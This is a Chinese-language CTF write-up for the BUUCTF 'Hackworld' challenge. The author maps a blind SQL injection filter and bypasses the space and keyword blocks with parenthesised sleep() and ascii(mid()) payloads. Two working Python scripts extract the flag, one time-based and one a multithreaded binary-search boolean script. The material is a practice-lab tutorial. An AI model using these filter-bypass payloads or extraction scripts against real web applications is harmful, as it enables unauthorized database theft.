BUUCTF Hackworld

首先用sqlmap跑一跑没有结果
尝试输入，测试注入点和过滤

1'  bool(false) 
1'# SQL Injection Checked.
1'%23  bool(false) 
1' %23  Injection Checked.
1%23  Hello, glzjin wants a girlfriend.

可以发现，只要被过滤了就会显示SQL Injection Checked，通过测试
过滤了and&&、 or||、 空格 、# 、for、limit

明显的注入,但是过滤空格,*,%23%0a,limit,for等等,明显的盲注
通过测试sleep((select(flag)from(flag)where(flag)like('f%'))like('f%'))可以成功延时,构造脚本
过滤空格,*,%23%0a,limit,for
后面再回头想了一下,flag表就一条数据,不能用limit也不需要用like构造的这么复杂,可以构造sleep(ascii(mid((select(flag)from(flag)),1,1))=102)
然后看glzjin师傅的wp却是布尔型盲注
1^(cot(ascii(mid((select(flag)from(flag)),1,1))=102))^1
其中的cot函数的作用是求余切值,会得到0.6这样,最后通过异或和四舍五入最后为1(我也不是很懂为什么一定要cot)

这里讲一下like

例子
我们希望从上面的 "Persons" 表中选取居住在以 "N" 开始的城市里的人：
我们可以使用下面的 SELECT 语句：
SELECT * FROM Persons
WHERE City LIKE 'N%'
提示："%" 可用于定义通配符（模式中缺少的字母）。
sqlmap中也有用like代替=

图片.png
图片.png

代码

import requests
def six_six_six(url):
    flag = ''
    while True:
        for i in 'abcdefghijklmnopqrstuvwxyz0123456789{}_':
            data = {'id':"sleep((select(flag)from(flag)where(flag)like('f%'))like('{i}%'))".format(i=flag+i)}
            print(data)
            try:
                requests.post(url=url,data=data,timeout=1)
            except:
                flag=flag+i
                print('[*]%s'%flag)
                break
        if i=='}':
            break
    print('[+]%s'%flag)

url = 'http://web43.buuoj.cn'
six_six_six(url)

还可以通过布尔盲注进行,有两种返回结果

-1=(ascii(substr((select    flag    from    flag),1,1))>120)

我比较菜鸡，一开始怎么也看不出这个脚本的意思，经过一波测试

-1=(158=58) 返回Hello, glzjin wants a girlfriend.
-1=(58=58)返回Error Occured When Fetch Result.
-1=(158>58)返回Error Occured When Fetch Result.
-1=(158<58) 返回Hello, glzjin wants a girlfriend.

还是不太懂为什么这么构造，
这里可以揣摩出大概意思是（）里的判断为true返回Error Occured When Fetch Result.（也就是flase）；
（）里的判断为flase返回Hello, glzjin wants a girlfriend.也就是id=1查询出的内容（也就是true）

原因是-1=flase，返回1？
-1=true，返回flase？
这样看来确实没有必要用and和or了

上脚本

import requests, threading
z = {}
def fast(n):
    R, L = 126, 30
    m = 0
    while R >= L:
        m = (R + L) // 2
        #payload = '-1=(ascii(substr((select    flag    from    flag),{0},1))>{1})'.format(n, m)
        payload = '-1=(ascii(mid((select(flag)from(flag)),{0},1))>{1})'.format(n, m)
        data = {"id": payload}

        if "Hello, glzjin wants a girlfriend." not in requests.post("http://web43.buuoj.cn/index.php",data).content.decode('utf8'):
            payload = '-1=(ascii(substr((select flag    from    flag),{0},1))={1})'.format(n, m + 1)
            data = {"id": payload}
        #如果不返回Hello, glzjin wants a girlfriend，语句为真，ascii(flag[n])>m，构造判断ascii(flag[n])=m+1?
            if "Hello, glzjin wants a girlfriend." not in requests.post("http://web43.buuoj.cn/index.php",data).content.decode('utf8'):
                z[n] = chr(m + 1)
                print(chr(m + 1))
                break
            #如果不返回Hello, glzjin wants a girlfriend，语句为真，返回flag[n],break,跳出
            L = m + 1#直到R>L,这里L每次增加到m+1，二分法
            print(m)

        else:
            payload = '-1=(ascii(substr((select flag    from    flag),{0},1))={1})'.format(n, m - 1)
            data = {"id": payload}
            if "Hello, glzjin wants a girlfriend." not in requests.post("http://web43.buuoj.cn/index.php",data).content.decode('utf8'):
                z[n] = chr(m - 1)
                print(chr(m - 1))
                break
            R = m - 1


a = []#创建threads数组a[]
for x in range(1, 39):#这里的39需要自己测试，从小到大测试
    a.append(threading.Thread(target=fast, args=(x,)))#创建线程,使用threading.Thread()方法，在这个方法中调用fast方法target=fast，args方法对fast进行传参。 把创建好的线程装到threads数组a[]中。
for x in a:
    x.start()#最后通过for循环遍历线程数组。
for x in a:
    x.join()#join（）的作用是，在子线程完成运行之前，这个子线程的父线程将一直被阻塞。注意:  join()方法的位置是在for循环外的，也就是说必须等待for循环里的两个进程都结束后，才去执行主进程。
f = ''
for x in range(1, 39):
    f += z[x]
print(f)
print('ok')

参考文章
http://118.25.174.93/index.php/archives/694/#Hack%20World
http://cdusec.happyhacking.top/?post=78